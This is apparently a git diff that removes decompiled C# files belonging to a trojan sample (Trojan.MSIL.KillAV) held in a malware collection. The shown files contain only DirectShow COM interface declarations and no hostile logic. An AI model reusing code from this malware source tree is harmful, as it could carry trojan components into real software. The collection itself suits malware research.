[ComVisible(true)] - [ComImport] - public interface IMediaControl - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Run(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Pause(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Stop(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetState(int msTimeout, out int pfs); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RenderFile(string strFilename); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AddSourceFilter([In] string strFilename, [MarshalAs(UnmanagedType.IDispatch)] out object ppUnk); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_FilterCollection([MarshalAs(UnmanagedType.IDispatch)] out object ppUnk); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_RegFilterCollection([MarshalAs(UnmanagedType.IDispatch)] out object ppUnk); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int StopWhenReady(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEvent.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEvent.cs deleted file mode 100644 index 5248d4af..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEvent.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaEvent -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a868b6-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComImport] - public interface IMediaEvent - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEventHandle(out IntPtr hEvent); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEvent(out DsEvCode lEventCode, out int lParam1, out int lParam2, int msTimeout); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int WaitForCompletion(int msTimeout, out int pEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CancelDefaultHandling(int lEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RestoreDefaultHandling(int lEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FreeEventParams(DsEvCode lEvCode, int lParam1, int lParam2); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEventEx.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEventEx.cs deleted file mode 100644 index 076d2f25..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEventEx.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaEventEx -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComVisible(true)] - [Guid("56a868c0-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IMediaEventEx - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEventHandle(out IntPtr hEvent); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEvent(out DsEvCode lEventCode, out int lParam1, out int lParam2, int msTimeout); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int WaitForCompletion(int msTimeout, out int pEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CancelDefaultHandling(int lEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RestoreDefaultHandling(int lEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FreeEventParams(DsEvCode lEvCode, int lParam1, int lParam2); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetNotifyWindow(IntPtr hwnd, int lMsg, IntPtr lInstanceData); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetNotifyFlags(int lNoNotifyFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNotifyFlags(out int lplNoNotifyFlags); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaFilter.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaFilter.cs deleted file mode 100644 index 08729449..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaFilter.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaFilter -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("56a86899-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IMediaFilter - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetClassID(out Guid pClassID); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Stop(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Pause(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Run(long tStart); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetState(int dwMilliSecsTimeout, out int filtState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSyncSource([In] IReferenceClock pClock); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSyncSource(out IReferenceClock pClock); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaPosition.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaPosition.cs deleted file mode 100644 index 34e4ff24..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaPosition.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaPosition -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("56a868b2-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComVisible(true)] - [ComImport] - public interface IMediaPosition - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Duration(out double pLength); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_CurrentPosition(double llTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_CurrentPosition(out double pllTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_StopTime(out double pllTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_StopTime(double llTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_PrerollTime(out double pllTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_PrerollTime(double llTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Rate(double dRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Rate(out double pdRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CanSeekForward(out int pCanSeekForward); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CanSeekBackward(out int pCanSeekBackward); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSample.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSample.cs deleted file mode 100644 index d3dd00a2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSample.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaSample -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("56a8689a-0ad4-11ce-b03a-0020af0ba770")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IMediaSample - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPointer(out IntPtr ppBuffer); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSize(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTime(out long pTimeStart, out long pTimeEnd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetTime([MarshalAs(UnmanagedType.LPStruct), In] DsOptInt64 pTimeStart, [MarshalAs(UnmanagedType.LPStruct), In] DsOptInt64 pTimeEnd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsSyncPoint(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSyncPoint([MarshalAs(UnmanagedType.Bool), In] bool bIsSyncPoint); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsPreroll(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetPreroll([MarshalAs(UnmanagedType.Bool), In] bool bIsPreroll); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetActualDataLength(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetActualDataLength(int len); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMediaType([MarshalAs(UnmanagedType.LPStruct)] out AMMediaType ppMediaType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetMediaType([MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pMediaType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsDiscontinuity(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDiscontinuity([MarshalAs(UnmanagedType.Bool), In] bool bDiscontinuity); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMediaTime(out long pTimeStart, out long pTimeEnd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetMediaTime([MarshalAs(UnmanagedType.LPStruct), In] DsOptInt64 pTimeStart, [MarshalAs(UnmanagedType.LPStruct), In] DsOptInt64 pTimeEnd); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSeeking.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSeeking.cs deleted file mode 100644 index f571ff4b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSeeking.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaSeeking -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("36b73880-c2c8-11cf-8b46-00805f6cef60")] - [ComVisible(true)] - [ComImport] - public interface IMediaSeeking - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCapabilities(out SeekingCapabilities pCapabilities); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CheckCapabilities([In, Out] ref SeekingCapabilities pCapabilities); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsFormatSupported([In] ref Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryPreferredFormat(out Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTimeFormat(out Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsUsingTimeFormat([In] ref Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetTimeFormat([In] ref Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDuration(out long pDuration); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetStopPosition(out long pStop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentPosition(out long pCurrent); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConvertTimeFormat( - out long pTarget, - [In] ref Guid pTargetFormat, - long Source, - [In] ref Guid pSourceFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetPositions( - [MarshalAs(UnmanagedType.LPStruct), In, Out] DsOptInt64 pCurrent, - SeekingFlags dwCurrentFlags, - [MarshalAs(UnmanagedType.LPStruct), In, Out] DsOptInt64 pStop, - SeekingFlags dwStopFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPositions(out long pCurrent, out long pStop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAvailable(out long pEarliest, out long pLatest); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRate(double dRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRate(out double pdRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPreroll(out long pllPreroll); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersist.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersist.cs deleted file mode 100644 index bfef44f2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersist.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IPersist -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("0000010c-0000-0000-C000-000000000046")] - [ComImport] - public interface IPersist - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetClassID(out Guid pClassID); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersistStream.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersistStream.cs deleted file mode 100644 index bf8ad6eb..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersistStream.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IPersistStream -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("0000010c-0000-0000-C000-000000000046")] - [ComImport] - public interface IPersistStream - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetClassID(out Guid pClassID); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPin.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPin.cs deleted file mode 100644 index 2658311c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPin.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IPin -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("56a86891-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IPin - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Connect([In] IPin pReceivePin, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ReceiveConnection([In] IPin pReceivePin, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Disconnect(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConnectedTo(out IPin ppPin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConnectionMediaType([MarshalAs(UnmanagedType.LPStruct), Out] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryPinInfo(out PinInfo pInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryDirection(out PinDirection pPinDir); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryId([MarshalAs(UnmanagedType.LPWStr)] out string Id); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryAccept([MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EnumMediaTypes(IntPtr ppEnum); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryInternalConnections(IntPtr apPin, [In, Out] ref int nPin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EndOfStream(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BeginFlush(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EndFlush(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int NewSegment(long tStart, long tStop, double dRate); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IReferenceClock.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IReferenceClock.cs deleted file mode 100644 index 0acf15cf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IReferenceClock.cs +++ /dev/null @@ -1,35 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IReferenceClock -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("56a86897-0ad4-11ce-b03a-0020af0ba770")] - [ComVisible(true)] - [ComImport] - public interface IReferenceClock - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTime(out long pTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AdviseTime(long baseTime, long streamTime, IntPtr hEvent, out int pdwAdviseCookie); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AdvisePeriodic( - long startTime, - long periodTime, - IntPtr hSemaphore, - out int pdwAdviseCookie); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Unadvise(int dwAdviseCookie); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabber.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabber.cs deleted file mode 100644 index f5fa9bf3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabber.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.ISampleGrabber -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("6B652FFF-11FE-4fce-92AD-0266B5D7C78F")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface ISampleGrabber - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetOneShot([MarshalAs(UnmanagedType.Bool), In] bool OneShot); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetMediaType([MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetConnectedMediaType([MarshalAs(UnmanagedType.LPStruct), Out] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetBufferSamples([MarshalAs(UnmanagedType.Bool), In] bool BufferThem); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentBuffer(ref int pBufferSize, IntPtr pBuffer); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentSample(IntPtr ppSample); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetCallback(ISampleGrabberCB pCallback, int WhichMethodToCallback); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabberCB.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabberCB.cs deleted file mode 100644 index 23a3fb76..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabberCB.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.ISampleGrabberCB -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("0579154A-2B53-4994-B0D0-E773148EFF85")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface ISampleGrabberCB - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SampleCB(double SampleTime, IMediaSample pSample); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BufferCB(double SampleTime, IntPtr pBuffer, int BufferLen); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISpecifyPropertyPages.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISpecifyPropertyPages.cs deleted file mode 100644 index 06a19c71..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISpecifyPropertyPages.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.ISpecifyPropertyPages -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; 